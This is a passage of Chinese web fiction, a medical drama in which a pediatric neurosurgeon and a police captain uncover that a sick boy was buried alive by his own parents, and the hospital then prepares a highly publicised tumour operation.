接着,他又松口气似的对南栀和阮乔说道:“范家的情况比较特殊,他们的爸爸在**期间去世了,家里只有妈妈,范丽和范昌是姐弟俩,范丽不太靠谱,结婚生完孩子就把孩子丢给亲妈,她年纪大了,很多事情力不从心,只能范昌来照顾。” 南栀问:“范丽去哪了?” “说是出去打工赚钱,但一分钱都没往家里寄过,还经常管家里要钱。她妈就是个普通人,早就没工资了,这些都得范昌出钱。” 邻居们提起范昌,那叫一个同情。 范昌学习不错,是医生,工资还行。 在这年代,医生是好工作,按理说挺好找对象,可每次有人介绍他相亲,对方一听说他还得照顾姐姐的孩子,就不乐意了。 这是人之常情,谁愿意还没结婚就莫名其妙增加负担? 换作是南栀,她也不乐意。 后来范昌就不再尝试找对象,在家里安心照顾老妈和孩子,直到孩子频频头疼。 “邻居说,范昌为了给侄子治病花了不少钱,他妈也是个糊涂的,女儿把孩子丢下不管了,她还心疼女儿,总让范昌给姐姐邮钱。范昌不仅有金钱上的压力,照顾老人和孩子更是让他分身乏术,在医院那边总请假,领导已经找他谈过好几次话。” “这么说,范医生还真是个好人,”阮乔说,“亲妈对他有养育之恩,照顾是应该的,他姐和侄子可不是他的责任。” 罗鸣说:“可他的压力的确太大了,邻居们听到他抱怨好几次,而且昨天晚上他家里吵架吵得很凶。” “和谁吵架?” “他姐姐和姐夫,具体说了什么,邻居们也听不清,只听见他们在摔东西,还有人喊要把孩子带走之类的,是他喊的,还是他姐夫喊的,这都没法肯定。反正没过多久人就不见了,范丽报警,报社听说是弟弟把侄子带走,这种新闻可不多见,非要加班跟着去,我们拦都拦不住。” 常年承担所有责任的弟弟带走侄子,背后可能还有其他故事,涉及母亲、亲情,确实会被关注。 不过这对罗鸣来说可不是好事,任何案件结束之前,都得保密。 “原本嘛,是派出所的老王过去,范丽非说范昌要杀了儿子,老王只好把我叫过去,你说这事奇怪吧?范昌想把孩子带去哪儿?” 南栀想了想,说:“一般情况,她只会提到孩子被带走了吧?” “是啊,就算是范昌强行把孩子抱走,也不至于会杀了他,我们猜测,可能是范昌压抑太久,最终爆发,他或许有伤害孩子的举动,范丽才会认为范昌想杀人。” 这也是他们虽然知道范昌从前是个老好人,但不得不怀疑他的原因。 南栀问:“范丽的丈夫和母亲是怎么说的?” “都说是范昌把孩子抱走的,抱走了就没回去。” 范丽有可能撒谎,但她母亲不该撒谎,毕竟平时都是范昌照顾她。 南栀说:“范丽坚持找刑警只有两个可能。” “恩?” 南栀道:“一个是范昌有伤害孩子的倾向,她认为范昌要杀人。” 罗鸣点头,他们不希望范昌走到这一步,所以一直在努力找人。 “再就是,”南栀说,“在范丽的心里,有一个孩子会遇害的预设,所以下意识找刑警。” 罗鸣道:“如果有预设,那她可就不清白了,一个母亲会做出这种事吗?” 阮乔嫌弃道:“一个母亲会把孩子丢给家里人跑了,一分钱都不给吗?我们杨芬女士的情况除外。” 旁边的警察点头赞同,“真有可能,我看范丽就不像是好人。” 罗鸣瞪了他一眼,“记住了,局长来找我谈话,你去!” 警察:“……” 调查结果不都是罗队说的吗?! 南栀和阮乔毕竟不是警察,她们也只是比较关心范昌和他侄子的病而已,案子又不涉及她们,当然不能总去跟踪。 罗鸣见她们似乎没有一同去跟踪的想法,偷偷松了口气。 然而还是被阮乔看到,“罗队长,你该不会是害怕我们跟你一起去调查吧?” 罗鸣:“……,没有啊!” 他保持着青春洋溢的笑容,“我对你们可是完全信任,知无不言言无不尽。” 罗鸣身后的两个警察瑟瑟发抖。 他们罗队笑得也太恐怖了! 阮乔无语道:“我们关心许斌的案子,是因为牵扯到我们栀栀的陆医生,我们和范医生又不熟悉,有必要去抢你们的工作吗?” 罗鸣乐呵呵道:“原来是这样,那就好,祝你们仨百年好合!” 南栀:“……” 小警察捅了罗鸣一下。 罗鸣连忙改口,“嗐,是祝你俩百年好合!” 阮乔:“……” 晚上回家,南栀看到黄春兰女士还在看书。 黄春兰现在把图书馆当成第二个家,每天在图书馆和家之间往返,也是过上好日子了。 家里有南栀和南明杰赚钱,日子过得还不错,南栀每个月能开一百来块。 萧珵时不时地就要给她买点儿什么,她几乎没有花钱的地方,这几个月的工资再加上韦宁雨帮她赚的钱都攒着。 黄春兰见南栀回来,拉着她一起去算账,“我以前都不敢想,家里能有这么 多存款,你看,等钱够了,就去你医院附近租个房子,省得你每天来回跑。” 其实这些钱仍然不多。 虽然能让他们衣食无忧,但和真正有钱的人比起来,他们连人家的脚趾盖都够不到。 这一刻,南栀终于真正理解陆嘉述。 做啥清高的医生,该赚的钱就得赚。 报社在持续关注范家的事。 第二天的报纸头条仍然是范家的案子,记者恨不得把范家的几辈子的故事翻出来。 这篇报道中提到了孩子的病。 范丽的儿子跟父亲姓,叫薛建,范丽说他脑发育不正常,还说范昌耐心不好,经常打薛建。 警方还在找范昌和薛建,目前仍然没有线索。 韦宁雨推开儿科办公室的门,探出头,“姐妹们,咱手术团队冒头的时候到了。” 阮乔问:“你准备好被开瓢了?” 韦宁雨:“……,别总惦记我的头!” 他把今天的报纸递给南栀,“我记得你说过,薛建可能要做手术?” 南栀点头。 “这就是机会!”韦宁雨慷慨激昂,“这是我们康宁医院跃升全省第一的机会!” 阮乔说:“连院长不在,说点儿实在的。” 韦宁雨:“……” 他和连院长说得都是实在的! “报社关注薛建失踪一案,连续两天都是头版头条,这说明什么?” 阮乔问:“说明报社相信范丽的话,闲得没事干?” “他们才不傻,有眼睛的人都能看出来范丽有问题。” 南栀知道她得站在韦宁雨的角度考虑,才能回答问题。 韦宁雨是什么角度呢? 南栀说:“难道是想借这件事的热度,争取给薛建治病?” “还是南栀聪明!”韦宁雨鼓掌道,“看看人家,学习好的就是脑子快!” 阮乔先送给韦宁雨一巴掌,接着说道:“可是现在还没找到薛建,没法给他治病。” “你傻啊?”韦宁雨愤愤不平,“就算该找个人开瓢,也该把你的脑袋打开看看里面装的是不是全是水!这件事关注度高,只要我们往前凑一凑,就会有人注意到我们!十个人注意到可能没什么,但一百个人、一千个人注意到,就可能有人来找我们动手术。” 阮乔震惊:“好卑鄙的商战。” 韦宁雨冷哼,“又不是我偷的孩子,我只是借机达成我们的目的,难道你不相信南栀的实力?” 阮乔当然相信南栀的实力,但是她朴素的观念显然无法接受“广告”。 阮乔说:“好卑鄙的你!” 韦宁雨:“……” 这一点,南栀和韦宁雨观念一致,他们现在确实需要宣传,事情与他们无关,可以做。 阮乔说:“这有损南栀在我心目中的形象。” 南栀好奇道:“我是什么形象?” 阮乔:“单纯?不谙世事?总之不是险恶的形象。” 南栀又问:“你对陆教授是什么形象。” 阮乔:“……有钱的凶狠的老太太。” 南栀道:“其实在你心里,教授大部分都该是舒教授那样吧?一心奉献、两袖清风,离世时铺天盖地的报道才让大家知道她的存在,同时也发现她死后什么都没留下,为了研究一直过着贫苦的日子。” 阮乔:“……” 仔细想想,好像还真是。 这种人似乎格外值得尊重。 南栀说:“我倒是觉得,如果不是为了做坏事,适当地用些手段也没什么,不符合大家对‘好人’的印象也行。像陆教授和舒教授,我更希望舒教授能和陆教授一样,过得舒舒服服的。” “也是,她们对医学发展有贡献,就该他们过上好日子。”阮乔说,“不过本来就是她们工资更高呀,难道还有比她们更享福的人?” 南栀看向韦宁雨。 韦宁雨:“?” 阮乔:“明白了!” 万恶的即将复苏的资本家! 韦宁雨:“……” 这套“缺德”战略被交给韦宁雨。 虽说南栀认为这没什么,但真的去“蹭热度”,她还是总觉得亏欠了谁。 做人果然不能太有道德。 巧的是,当晚罗鸣就给南栀打电话,说要把薛建送过来。 南栀不值班,人已经到家了,电话是打给路口商店的,南栀接到电话马不停蹄赶到医院。盛昭云留在医院值班,她已经为薛建做过检查。 “就是些小擦伤,没有大碍,脑子里的东西可能有点儿问题,送过来之后一直昏迷。” 南栀下意识掏出听诊器给他查体。 罗鸣问:“是脑瘤?” 南栀道:“得做检查才能知道具体情况,范昌在哪?他应该更了解。” 罗鸣尴尬道:“还没找到范昌。” “他和薛建不在一起?” 其中似乎有隐情,罗鸣为难了一会儿,对身边的小警察说:“我都跟你说了,不要透露案件细节,你怎么就是不听?” 小警察:“?” 罗鸣说:“薛建是被人救起来的,有人把他埋进地里,救起来后就送到小诊所了,时间比较短,薛建没有太大问题,一直留在小诊所。一个小时前,小诊所的医生才看到新闻报道联系我们,刚好薛建的情况不太好,昏迷了。” 小警察:“……” 摊上这样的领导,他能怎么办?!他的新年愿望是希望罗队长做个善良的人。 盛昭云问道:“是范医生下的手?” “这就不清楚了,”罗鸣道,“我们正在往这个方向查,具体是怎么回事,还不能肯定。” 南栀露出怀疑的目光。 罗鸣见状,赶紧对盛昭云说:“盛主任,孩子就交给你了,我们还得去找人。” 盛昭云轻笑,“听罗队长的意思,就是怀疑范昌了。” 罗鸣:“……” 他以为副主任很善解人意? 怎么康宁医院儿科的人一个比一个嘴毒?! 南栀没放弃怀疑,“罗队长,还是得关注下范昌的去处,万一他不是想甩掉‘累赘’呢?” 说话间有三个人冲向急诊。 罗鸣就是在急诊联系盛昭云和南栀的。 为首的人是范丽,她情绪激动,跑起来时好几次险些摔倒,踉踉跄跄跑到薛建面前后,扶着床沿痛哭,“你这是怎么了呀?范昌在哪?他人呢?他把小建怎么了?为什么要下手害她?!” 罗鸣道:“你冷静一些,薛建晕倒可能与脑瘤有关,和范昌无关。” “你们警察也向着他?难道不是他把小建活埋的吗?!”范丽甩开罗鸣的手,声嘶力竭地大吼,“你们不能因为他是医生就向着他!他从小到大撒过很多谎!” 罗鸣一怔。 薛建的父亲薛联宜走过来,拉了妻子一把。 走在最后的是范母,面对情绪崩溃的女儿和陷入昏迷的孙子,她一句话都没有,只是一个劲地抹眼泪。 南栀忍不住说道:“警方还没有找到范昌,不能确定他就是想害薛建的人。” “除了范昌还能有谁?!昨天他带着薛建走,只有他一个人出去了!” 南栀问:“他把孩子带走了,你们都不出去找找?” “当然找了!”范丽没好气道,“我妈被气病了,我在家照顾妈,薛联宜出去找的人。” 南栀不动声色地看向薛联宜。 薛联宜尴尬地笑了笑。 南栀说:“这不是范昌害人的证据,只能说他嫌疑比较大。同样的,跟着他们一起出去的薛联宜也没有不在场证明,同样可疑。” 薛联宜笑容僵住。 范丽恼火道:“我们是小建的爹妈,我们会害他吗?!” 南栀向范母看去。 范丽吵闹很久了,她至今没有表示。 如果真如罗鸣所说,范丽平时不着家,她还得靠范昌照顾,现在却一句话都不说,实在让人瞧不上。对自己好的人,怎么 也得说一句好话吧? 南栀好奇地走到范母面前,问道:“范昌是不是欺负过您?” 范母茫然地抬起头。 “有吗?” 范母这才确认南栀的确是在和她说话,“这咋会?我平时就靠小范照顾。” 南栀摇头道:“他真是瞎了。” 范母:“?” 南栀:“他一直照顾你,你倒好,只想和稀泥。平时见过的父母都是宠着儿子害女儿,你这样的倒是少见,值得记录。” 阮乔:“十个人里有九个人重男轻女,就一个重女轻男的,让我们给碰见了。” 范母:“……” 南栀不再理会即将心理崩塌的范母,她看向范丽,回答她的问题,“你还知道你是他妈?把孩子丢下的时候你这个当妈的在哪?” “我……”范丽明显底气不足,“我去赚钱了,不赚钱怎么养孩子?” 南栀朝范丽伸出手,“拿来。” 范丽:“?” “钱啊,不是去赚钱养孩子了吗?平时也没见你们邮钱回来,应该已经赚了很多了吧?” 范丽:“……” 夫妻俩偷偷对视。 薛联宜抢着答道:“钱都在家里,没来得及拿,谁出门会带很多钱?” “哦,原来你们有很多钱呀,那太好了!”南栀露出真心的笑容,“小建的情况可能需要做手术呢,你们有钱就好,有钱就能做手术啦!” 薛联宜:“?!” 范丽:“……你是猪吗!!” 南栀可不管这些,她说:“今天先收小建住院,明天我就给他开检查,如果达到手术指标,后天就能做手术!你们先回家拿钱吧!” 说完,南栀又可怜兮兮地补充一句,“你们这么关心小建,应该不会不给他治病吧?” 不会吧不会吧? 阮乔:“……” 南栀这贱兮兮的语气到底是跟谁学的? 范丽恶狠狠地瞪着薛联宜。 薛联宜沉着脸一声不吭。 范丽正在想回绝南栀的措辞,一直没说话的罗鸣忽然站出来,“范丽,薛建的事,你就别管了,跟我们走一趟。” 范丽不满道:“你们不去抓范昌,来找我做什么?” 罗鸣目光锐利,他不动声色道:“恐怕范昌的下落,只有你知道。” “你到底在是说什么……”范丽眼中闪过诧异,接着尴尬地笑道,“我如果知道范昌在哪里,还需要你们去找人吗?我早就把薛建接回来了。” 罗鸣道:“我怀疑你和范昌失踪、薛建受伤害案有关。” 范丽:“……我说了,我是他妈!你别乱抓人!” 罗鸣说:“你刚才说了,是范昌想杀人。” “这不是显而易见吗?!”范丽急着为自己辩解,“看到现在情况的,都会这样想。” 罗鸣赞同:“你说得没错。” 范丽松口气,“所以啊,你们别随便……” 罗鸣打断她,“但我什么时候告诉过你,薛建被人埋起来了?” 第100章 第100章良心会痛 罗鸣的目光如利剑出鞘,让人陡生寒意。 虽然罗大队长会和南栀插科打诨,在局长面前也过于胆小,偶尔还想把下属踢过去背锅,但他毕竟做了将近二十年的刑警。 这人是不是在说鬼话,他能看出端倪。 在罗鸣的注视下,范丽的心理防线逐渐坍塌,她开始痛哭,先是捂着脸痛哭,然后再加一些乱七八糟的话,“我没有。” “没说过。” “我什么都不知道!” “是小建,小建他自己……” …… “和我没关系!” 罗鸣拿出手铐,朝范丽走去,“目前来看就是你。” 范母这会儿竟也没动弹,只是惊慌地看着范丽,但看起来并不会为她说话。 原来她不是重女轻男,只是什么事都不想担着。 眼见着罗鸣是真要把她拷走,范丽终于急了,“要抓人,你们也该去抓他!凭什么抓我!” 被她指出来的人是薛联宜。 “是他把小建当成累赘!!是他干的!!” * 警方虽然没有公布案件细节,但记者总有上天入地的本事,而且这会儿还没什么人去拦他们。 有关薛建的案子,第二天又一次上了头条,内容更吸引人。 薛建不是失踪,而是被人“活埋”,“活埋”他的不是别人,正是他的亲生父母! 至于究竟是父亲还是母亲,记者暂时还不知道,两人在警局一直狗咬狗。 与此同时,康宁医院接诊薛建一事也被刊登出来,大家都很关心薛建的后续治疗,盛昭云接受采访时介绍薛建的病情,还顺便宣传了一波手术团队。 还真有人在看到报道后来找南栀看病。 尚延为南栀单独准备了一间诊室,挂着小儿神外的牌子,虽然他挺心虚的。 其他科室都没分出来呢,就来个小儿神外。 成人的神外遇到的都是难题,更别说是小儿神外了。 不过这几个病人都是普通的小病,没有需要开刀的。 至于薛建…… 南栀现在也挺发愁。 “薛建目前还有无明显诱因出现的间断性头疼伴呕吐,昨天送到医院后呕吐两次。范昌曾带他去中心医院做检查,发现颅内占位。他早上已经清醒,精神状态尚可,不过头颅CT能看到后枕部骨板下团块状稍高密度影,最大直径已经超过五厘米,脑实质受压,枕骨也被破坏。” 南栀是在给尚延汇报,但尚延是真的不太懂。 他是儿科医生,对脑子这块的了解仅仅局限于曾经学过的课本知识,而且不够深入。 成立手术团队时,连院长说了,如果有特殊情况,可以直接联系他,这其实是给南栀开了绿色通道。 特殊情况联系连院长。 不特殊的情况她自己解决,总之没尚延什么事。 因此尚延听完,十分真诚地问道:“你能不能别折磨我了?” 南栀:“啊?” 尚延:“你是想羞辱我?” 南栀:“我……” “你想看到我不知所措?”尚延说,“好黑的心。” 南栀:“……” 盛昭云“啧”了一声。 尚延:“……反正不白。” 还是得给盛主任留些面子的。 毕竟盛主任宛如勤劳的老黄牛,天天在儿科加班。 盛昭云道:“尚主任的意思是,你可以自己判断。” “哦……”南栀说,“给他做了MRI和肺部CT,MRI显示……” 尚延脸色不好。 南栀直接说结论,“神经母细胞瘤的可能性较大,神经母细胞瘤颅骨转移可能性很大,需要手术治疗。” 盛昭云道:“但问题是,开刀需要家属签字,而且还要家属付钱。” “可不能让家属付钱!”韦宁雨冲进来,“多好的宣传机会!咱们医院看人家太可怜,于是主动伸出援手,手术一切顺利,成功救治一个无辜的生命!手术团队成立后的第一起手术就备受关注,还有比这更好的宣传吗?!” 盛昭云赞叹道:“要不怎么说商人奸诈,古话是有道理的。” 韦宁雨冷哼,“没有奸诈的我,哪有手术团队的美好明天?我以后还会更奸诈。” 尚延对神外的事不太熟,对奸诈的事也不熟,他无力地摆摆手,“你们自己定,有问题再来找我。” 南栀:“薛建的手术费用……” 尚延问:“你看我像财务吗?” 南栀小声说:“财务也不能随便拨钱啊。” 尚延:“……,去问连院长!” 尚延走后,韦宁雨安慰道:“手术费用不用担心,医院如果不同意减免,这笔钱我出了,就当是宣传投资,很值得。” 这回盛昭云倒是挺佩服韦宁雨,“先不说你眼光怎么样,出手倒是大方。” 南栀说:“怎么能让你出钱?先等等吧,还没找到范昌。” 韦宁雨苦口婆心劝道:“做生意的,不能太看重小钱 ,咱们盛主任就明白。假设咱俩不认识,你是牛哄哄的神外医生,我是富得流油的商人,我出点儿小钱,就能让你欠我一个人情,你说这买卖值不值?如果我或者我家人、朋友生病了,你是不是得帮忙?如果是我的客户生病了,你也得帮忙吧?我这客户能给我带来的利润,可不是一台手术的钱能比的。” 他拍拍南栀的肩膀,终于有了自己是大人,南栀是“小孩”的感觉,“所以啊,不要在意这些小投资,这都是我应该做的。” 南栀感动道:“你好贼啊!” 韦宁雨提醒道:“不过你们都记住了,就算不出钱,我找你们帮忙,你们也得帮!” 盛昭云亦是热泪盈眶,“不愧是奸诈的你。” 韦宁雨更加自豪了。 瞧瞧,连盛昭云都在夸他! 他可真厉害! 南栀下午试图和范母交涉有关薛建做手术的问题。 范母是哭哭啼啼,一句准话都给不了。 她不仅不能扛儿子女儿的事,就连孙子的病都在躲避。 摊上这样的母亲,南栀有些同情范昌。 范母不肯承担任何责任,手术没人签字。 好在晚上罗鸣给南栀带来好消息,他们找到范昌了。 事发当日,范丽、薛联宜夫妻俩回到娘家,据范母所说,两人一直躲在房间里,关着门不知在谈什么。 没多久薛联宜尝试把薛建带走,但被提前下班的范昌堵在门口。 范昌原本是要带薛建去康宁医院找南栀。 随后,两人发生争执,范母表示,她什么都没听到,不知为何争执。 他们吵架的声音不小,邻居听不见,范母无论如何都能听到。 范昌和薛联宜是在为薛建吵架。 薛联宜说这次回来要把薛联宜一起带走,去他们打工的城市生活,范昌不同意。 天黑后,薛联宜找到机会,背着范昌偷偷带走薛建,但很快被范昌发现。 范昌追上薛联宜,发现他是打算把薛建活埋,薛建对他们来说似乎是累赘。 范昌自然要阻止,在与薛联宜打斗过程中,他不慎受伤。 “薛联宜和范丽是觉得家里的钱都给薛建花了,耽误他们过好日子,所以不想要这个孩子,他不是得病了吗?以后花钱的地方还多着。” 南栀没能理解,“给薛建花钱治病的人不是范昌吗?” 罗鸣摊手,“没有薛建,范昌的钱不就都给亲妈了?给了亲妈,不就是范丽的了?” 其实范昌早就过了说亲结婚的年纪。 如果没有薛建,他的工作想找一个条件差不多的对象还是挺容易的。 范丽这是打算吃弟弟一辈子。 “而且啊,范丽和薛联宜根本就没有正经工作,薛联宜搞砸过不少事,说要开出租车,结果把车撞了,赔了很多钱。后来又说要去做生意,其实一点儿生意都没做成,又赔了不少。范丽呢,三天打鱼两天晒网,不想工作,做得最多的是洗头小妹,说要学理发的手艺去给人家剪头发,我看她剪得就不咋样。” 南栀问:“范昌现在还好吗?” “他的情况就有点儿特殊了,挨了打,但是跑了,薛联宜胆子是真小,他以为他把范昌打死了,没敢去确认。范昌嘛,先是被人家当成醉鬼,人家以为他是喝酒喝多了,醒来之后迷迷糊糊的,想求救,结果刚好把人家姑娘的裙子拉下来了,姑娘报警,范昌一直在派出所里。” 后来几个派出所的所长碰到一起,提起这片的辖区出了个案子在找人,才知道被拘留的色鬼就是范昌。 “他伤到头了,一直挺迷糊的,派出所的民警还带他去包扎过,但他一直浑浑噩噩的,也没说明白什么,耽误了很久。” “范昌现在在哪?” “送去恩德了。” 半个办公室的人看过来。 阮乔问:“你把范昌送到恩德医院了?” 罗鸣:“……是啊?” 盛昭云:“送到恩德?!” 韦宁雨:“是恩德吗?我知道的那个恩德。” 就连南栀的目光都意味深长。 罗鸣了解南栀,她虽然天天阴阳怪气,但她自己不认为是阴阳怪气,而现在她明摆着是知道自己在阴阳怪气。 那可就太阴阳怪气了。 罗鸣:“……” 怎么回事,好像他做了什么错事??! 阮乔指着南栀说道:“他脑子受伤了,这不是有神外医生吗?” 罗鸣:“她不是儿科医生吗??” 阮乔嫌弃道:“成人的神外还给小孩儿做手术呢,难道成人的脑子和小孩的脑子还有结构上的差异?” 韦宁雨痛心疾首,“昨天我和公安局局长吃饭,还和他说罗队长特别照顾我们,这可是咱们市成立的第一个神外手术团队,罗队长竟然……” 罗鸣:“……” 不是小儿神外手术团队吗?? 韦宁雨:“有的时候是小儿,有的时候也可以是成人。” 罗鸣:“……” 不是,他什么时候和局长一起吃的饭?! 怎么好像真摊上事了?! “就近原则,就近,”罗鸣努力挣扎,“薛联宜下手的地方离恩德医院近,才给送过去的。” 办公室的人频频冷笑。 一屋子白大褂对着自己冷笑,罗鸣有身患绝症的错觉。 白大褂的统摄力不容小觑。 南栀抽空去恩德医院看望范昌,主要是和他商量给薛建做手术的事。 对康宁医院来说,恩德医院相当于上刀山下火海里的刀山和火海,绝对不能单独前往,陆随和箫珵坚持要陪南栀一起去。 南栀当然没意见,“能和哥哥多待一会儿,还能和陆随联络感情,挺好。” 陆随:“谢谢。” 又给他当工具人的机会了。 箫珵提醒道:“你们接触归接触,但绝对不能做过界的事情。” 南栀:“你是说……” 她还没说完,就被箫珵捂住嘴,箫珵已经能想象到她会说出什么虎狼之词。 箫珵说:“心里知道就行了,不用说出来!” 南栀蛮委屈的,“挺常见的呀,大学校门口不都是旅馆吗?你没去过吗?” 箫珵:“……反正你俩不行。” 南栀震惊:“你真的去过啊?!” 陆随适时补刀:“他好像谈过女朋友。” “我都不知道,”南栀评价道,“谈恋爱还要瞒着,对人家不负责。” 箫珵:“……,是暧昧,只是暧昧!没成!” 和两个熟悉的人在一起真不好,被揭老底的总是他。 恩德医院现在老实很多,南栀一进大门就发现和从前不一样了。 南栀感慨道:“这才多久,变化真大。” 陆随说:“那件事闹得很大,警察来调查了好几天,院长肯定也会受牵连。现在恩德医院换了一批领导,不过虽然受到重创,但底子还在,过两年还能发展起来。” 箫珵不太乐意,“他们医院雷多,本身就是问题,换一批领导有用吗?除非大换血,还得换成真的想工作的血,不然还是和以前一个样。” 只有南栀还在真诚地感慨,“才过去几个月,他们的墙皮也掉了诶!” 陆随:“……” 箫珵:“……” 是在感慨这事吗? 南栀感慨完,淡定地往前走。 几个来看病的患者拎着报告站在门口,估计是在等人。 见南栀嚷着医院墙皮掉了,忍不住说道:“看病重要的是医术,墙皮有什么关系?掉了就掉了嘛。” 现在的年轻人真不让人省心,到医院还挑剔大楼,能把病治好就不错了! 陆随正想替南栀解释,就见她神秘兮兮凑到病人旁边,“其实墙皮掉得越多,说明医院建立的时间越久远,这也能侧面说明医院有些本事吧?” 患者被南栀绕糊涂了,“好像是这么个道理。” 南栀立刻说:“如果您不舒服,可以去康宁医院看病,康宁医院的楼最破!” 陆随&箫珵:“……” 这也能成为卖点? 南栀拉着患者和人家聊了好一会儿。 她只恨自己没做传单,就应该站在大街上直接给人家发传单。 箫珵低声问:“她在干什么?” 陆随:“……拉客?” 箫珵说:“最近儿科的人好像都奇奇怪怪的。” 陆随:“……集体拉客?” 啧,令人发指。 南栀狠狠地给康宁医院宣传了一波。 她说一些医学上的专业术语,患者们大多数都不懂,挺能唬人。 再看看他们的状态和报告单上的科室,基本能看出他们得了什么病,大家就更信服南栀了。 于是他们建立了康宁医院是好医院的印象。 陆随都想给南栀鼓掌,诈骗,好诈骗。 南栀说得口干舌燥,终于顺畅了。 三人一起往医院里走,箫珵好奇道:“你什么时候这么会做生意了?” 没错,刚才南栀和患者说话的语气和状态,看起来就像是在做生意。 南栀得意道:“韦宁雨给我们培训过,让我们见了人就这样说,果然有用诶。” 箫珵感慨道:“难怪都说你们科室现在是诈骗科。” 原来源头在这里。 范昌目前是被警方保护起来的,有两个人看守他。 南栀 过来是提前和罗鸣打过招呼的,警察没有为难他们,直接放行。 范昌已经清醒,一个小时之前接受过警方的审讯。 他头上的伤已经被包扎好,恩德医院神外诊断他是脑震荡。 稍微严重一些的,但也能养好。 范昌还记得南栀,他挣扎着想坐起来,“南医生,不好意思,和你说好了,没来得及过去。” “不用客气,”南栀连忙把范昌按回去,“我今天来是有事和你谈。” 范昌点点头,接着看向陆随和箫珵,有些好奇。 南栀介绍道:“这两位都是心外科的医生,这是陆医生,这是萧医生。” 箫珵悠悠地看向南栀,“为什么后介绍我?” 陆随微笑:“我更厉害。” “你凭什么更厉害?什么标准?谁判断的?!” 陆随:“反正我就是更厉害。” 南栀对范昌说:“别介意啊,他们还没小学毕业。” 范昌:“……” 范昌又想坐起来了,这回还是捂着心脏的位置坐起来,“我……有心脏病?” 怎么把陆医生都请过来了? 陆医生不就是上次病例研讨会上做报告的医生吗?说是割了大动脉瘤。 他心脏也被打了?? 南栀说:“不是的,他们是来拌嘴的,不用搭理他们。我过来,是想和你谈谈薛建的手术。” 她把薛建的片子一起递过去,“初步判断他可能是神经母细胞瘤,具体情况要做手术做病理才能知道,他目前的情况,做手术是最稳妥的。” 范昌忧心忡忡地看着片子。 他是普外的医生,为了薛建,最近没少补神经外科的内容。 范昌知道薛建的情况有多糟糕。 “您……有把握吗?”范昌说,“我也是医生,我懂,您跟我交个底,真的有把握吗?” 范昌的眉头一直没能展开。 这会儿南栀不想再用话术对付他,她说道:“如果你问手术,我有一些把握。如果你说预后,我只能说,治疗越早,预后越好。” 但恶性肿瘤就是癌症,癌症是否复发,谁都没法保证。 范昌沉默片刻,说:“如果南医生认为有开刀的必要,我们就开刀。” “你同意?”南栀说,“其实你应该知道,我们团队刚成立没多久……” “但你是舒教授的学生,”范昌说,“我没钱把他送到首都治疗,南医生既然能做舒教授的学生,肯定是有原因的。我没有其他办法。” 原来他早就查过了。 南栀点点头,“既然如此,手术同意书你来签,我们准备手术。” 范昌愣了一下,“我妈不在吗?” “她……”南栀到底不忍心让范昌知道范母的态度,含糊道,“你家里变故太大,老人家受不了,得让她多休息。” 范昌:“……她不同意签吧?呵,她总是这样。” 范昌闭上眼睛,以免失态。 有几年他和范丽是相依为命的,那会儿范丽对弟弟很好,有什么东西都想着他。 范母不太管他们,连饭都不怎么做。 范昌念书,如果在学校遇到麻烦或者其他事,都是范丽出面,范母总是推脱,说是怕麻烦。 正因如此,范丽管范昌要钱时,范昌总会想到姐姐从前对他的情谊,这钱必须得给。 范丽是在认识薛联宜后才改变的,她开始喜欢享受,喜欢花钱,好像身体里的基因被激活了。 范昌知道她的心思,但也没办法,以前家里只有一个窝窝头,范丽是真的全都让给他吃的。 一直到现在,姐夫想杀他,姐姐只惦记他手里的钱,妈妈还和从前一样,什么事都不想管。 他的人生也是蛮失败的。 如果没有薛建,他可能早就去地底下看他老爸了。 邻居们都说是薛建拖累了范昌,但范昌知道,如果没有薛建,他能不能继续活着还两说。 南栀见状,说道:“我们一定尽全力,你可以放心把薛建交给我们。” 虽然不知将来薛建会如何,但眼下,她一定把瘤体摘出去。 手术定在两天后。 这场手术可谓是声势浩大。 韦宁雨上天入地的本事十分了得,手术前两天噱头搞得很足,好像全市人民都在等着这场手术。 南栀看诊时,还会遇到跑过来送花的人,让她转交给薛建。 手术当天,韦宁雨还请来了媒体。 电视还未普及,但大家总有看电视的地方,当地的新闻频道也挺火的。 杀子杀弟案,孩子被活埋但是没死,现在马上就要做手术,这在当地的新闻栏目里值得做个专题。 手术前有记者来采访南栀。 南栀倒是没什么,但阮乔和盛昭云很紧张。 不过她们紧张的点也不是自己,而是南栀。 “栀栀,一会儿小心说话,不要暴露自己。” “绝对不能树立目中无人,全世界你最厉害的形象!病人需要一个温柔的医生!” “更不能阴阳怪气!一定要正常说话!” 南栀笑容温和,“你们就放心吧,这些毛病我完全没有呀。” 阮乔和盛昭云露出讳莫如深的笑容。 南栀:“?” 就是没有嘛。 按照二人的要求,南栀只提薛建的情况。 韦宁雨还说,最好能把病情说得严重些。 这倒是不用南栀撒谎,薛建的情况本来就不一般。 “影响结果考虑是神经母细胞瘤的可能性更大……” 在记者的授意下,南栀继续科普,“神母是源于神经脊的胚胎性肿瘤,是儿科最常见的颅外实体性肿瘤,46%的神母源于肾上腺……外国刚刚提出国际神经母细胞瘤分期系统……” 采访结束,阮乔愁眉苦脸道:“怎么办,我觉得栀栀还是不太亲民。” 南栀:“……我戴着口罩呢。” “是戴着,但就是有一种,怎么说呢,一种学习好的感觉。” 南栀说:“我本来就学习好啊。” “所以这就是万恶之源!!”阮乔坚决抵制学霸!抵制到底! 记者还要去采访院长和主任。 他们离开后,有几个学生涌了进来。 这些学生也是韦宁雨的手笔。 他联系了医科大学,说是康宁医院进了新设备,想请学生们去学习,医院派了几个代表来。 能做代表的,都是成绩不错的,大部分还都是班委。 韦宁雨的理论很简单:“虽然阮乔这种学渣可能不愿意承认,但班委对班级事务的参与度高,在某种程度来说是有‘威信’的,先让他们看到康宁医院的实力,既能通过他们对外宣传,还能让他们毕业后把康宁医院作为备选,一举两得。” 对此,盛昭云和阮乔的评价只有两个字:奸诈。 学生们有很多问题要问,比如南栀刚刚提到的分期系统。 南栀还要做手术,不方便多说,便让他们在手术后再过来。 大家都很羡慕,“南医生会关注最近的国际消息诶,消息真灵通。” “所以人家有本事,能做神外的手术。” 有人弱弱道:“我听说手术团队是刚成立的,不成熟吧?万一手术失败了……” 其他人也有类似的想法。 韦宁雨拍着手走出来,“别讨论了,今天你们都有机会观看手术,轮流来,你们老师说了,要写观后感。” “啊……” 大学生怎么还要写观后感啊?! 薛建的手术,关注度实在太大。 上台前,阮乔和魏联或多或少都有些紧张,南栀倒是和从前一样,还有心情研究刚换的手术帽。 一切准备就绪,核对过薛建的信息后,麻醉医生上场。 薛建昏睡过去,南栀和阮乔给他调整体位。 阮乔虽然紧张,业务倒是很熟练。 魏联道:“进步挺快。” 